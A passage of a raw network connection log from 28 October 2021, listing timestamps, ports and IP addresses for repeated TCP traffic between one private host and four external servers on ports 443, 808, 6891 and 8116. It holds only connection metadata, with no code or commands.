Oct 28, 2021 04:46:12.465156078 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:12.465166092 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:13.152004004 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:13.152091980 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:13.152148962 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:13.152163029 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:13.159845114 CEST	49896	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:13.159883976 CEST	443	49896	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:13.179560900 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:13.179626942 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:13.179649115 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:13.179666996 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:13.179713964 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:13.183240891 CEST	49897	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:13.183270931 CEST	443	49897	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:13.314596891 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.339899063 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.484100103 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.484210968 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.484899044 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.508044004 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.508184910 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.508810043 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.654205084 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.654331923 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.654397011 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.655180931 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.658205032 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.658327103 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.676810980 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.676875114 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.676947117 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.678028107 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.681406975 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.681541920 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:13.824567080 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.827497959 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.827524900 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.827557087 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.846256018 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.850298882 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.850353003 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:13.850367069 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:14.208184004 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:14.208225012 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:14.208270073 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:14.208307981 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:14.214740038 CEST	49898	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:14.233692884 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:14.233724117 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:14.233802080 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:14.237644911 CEST	49899	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:14.342062950 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.352700949 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.384083986 CEST	808	49898	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:14.405690908 CEST	808	49899	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:14.508558989 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.508699894 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.509489059 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.519197941 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.519352913 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.520191908 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.675808907 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.675839901 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.675952911 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.676440954 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.679574966 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.679647923 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.686543941 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.686573982 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.686712980 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.687199116 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.690740108 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.690884113 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:14.846024036 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.846051931 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.857256889 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.857285976 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:14.857294083 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:15.233338118 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:15.233376980 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:15.233517885 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:15.237668991 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:15.237705946 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:15.237826109 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:15.239075899 CEST	49900	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:15.241121054 CEST	49901	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:15.353566885 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.357507944 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.405361891 CEST	6891	49900	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:15.407461882 CEST	6891	49901	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:15.410008907 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.410130024 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.410933018 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.413933992 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.414032936 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.414572001 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.468550920 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.468740940 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.468837023 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.469335079 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.470721006 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.471045971 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.471165895 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.471616983 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.472861052 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.473033905 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.474719048 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.474814892 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.529162884 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.529182911 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.531013966 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.531322002 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.702436924 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.702462912 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.702688932 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.702781916 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.703789949 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.703816891 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.703946114 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.703984976 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.706151962 CEST	49902	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.712718964 CEST	49903	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:15.768644094 CEST	8116	49902	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.768954039 CEST	8116	49903	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:15.822140932 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:15.822199106 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:15.822298050 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:15.823379993 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:15.823395967 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:15.823654890 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:15.823707104 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:15.823818922 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:15.824618101 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:15.824645996 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:16.347397089 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:16.347697973 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:16.348927975 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:16.348939896 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:16.350413084 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:16.350605965 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:16.351470947 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:16.351490021 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:16.358443022 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:16.358472109 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:16.358553886 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:16.358562946 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:16.359426022 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:16.359446049 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:16.359565973 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:16.359575033 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:17.071767092 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:17.071842909 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:17.071886063 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:17.071939945 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:17.074081898 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:17.074151993 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:17.074188948 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:17.074228048 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:17.074265957 CEST	49904	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:17.074295998 CEST	443	49904	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:17.082973957 CEST	49905	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:17.083034992 CEST	443	49905	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:17.198385000 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.222450018 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.358534098 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.358680964 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.359246969 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.384705067 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.384860992 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.385929108 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.518961906 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.519299030 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.519370079 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.520386934 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.522830009 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.522927046 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.548214912 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.548239946 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.548352003 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.548789024 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.553659916 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.553852081 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:17.680000067 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.682753086 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.682771921 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.682782888 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.682796001 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.682811022 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.710969925 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.715797901 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.715854883 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.715868950 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:17.715948105 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:18.064146042 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:18.064174891 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:18.064225912 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:18.064260006 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:18.066927910 CEST	49906	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:18.098783970 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:18.098808050 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:18.100343943 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:18.108125925 CEST	49907	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:18.180679083 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.226593018 CEST	808	49906	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:18.233824968 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.270379066 CEST	808	49907	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:18.346648932 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.346863985 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.347743034 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.399354935 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.399597883 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.400340080 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.513063908 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.513103962 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.513278008 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.513921022 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.519774914 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.519870043 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.565684080 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.565768957 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.565841913 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.566427946 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.570584059 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.570699930 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:18.685136080 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.685173988 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.722287893 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.736076117 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:18.736104965 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:19.070908070 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:19.070935011 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:19.071012974 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:19.074068069 CEST	49908	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:19.119534016 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:19.119564056 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:19.119709015 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:19.127295971 CEST	49909	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:19.197057009 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.239501953 CEST	6891	49908	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:19.244692087 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.252732038 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.252871990 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.253634930 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.293184042 CEST	6891	49909	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:19.304900885 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.305088043 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.305912971 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.309578896 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.309895039 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.310008049 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.310625076 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.314724922 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.314831972 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.366166115 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.366189957 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.366291046 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.366986990 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.370290041 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.370784998 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.370923042 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.411072016 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.432188988 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.432481050 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.432831049 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.558568001 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.558603048 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.558841944 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.562161922 CEST	49910	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.602025986 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.602052927 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.602166891 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.602214098 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.610083103 CEST	49911	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:19.617793083 CEST	8116	49910	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.669909954 CEST	8116	49911	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:19.680862904 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:19.680905104 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:19.680977106 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:19.681652069 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:19.681664944 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:19.732922077 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:19.732966900 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:19.733059883 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:19.733584881 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:19.733601093 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.200438023 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.200686932 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.201399088 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.201420069 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.206059933 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.206100941 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.206214905 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.206227064 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.259624004 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.259773970 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.260401964 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.260412931 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.266088963 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.266115904 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.266222000 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.266232014 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.915154934 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.915327072 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.915488005 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.918720961 CEST	49912	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.918757915 CEST	443	49912	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.977396965 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.977474928 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:20.977616072 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.986603975 CEST	49913	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:20.986633062 CEST	443	49913	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:21.040014982 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.127953053 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.200573921 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.200855017 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.201354980 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.288290977 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.288412094 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.289089918 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.361682892 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.361733913 CEST	808	49914	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.365506887 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.366039038 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.369553089 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.369683981 CEST	49914	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.449074984 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.449276924 CEST	808	49915	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:21.449438095 CEST	49915	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:21.450045109 CEST	49915	808	192.168.2.5	143.244.140.214
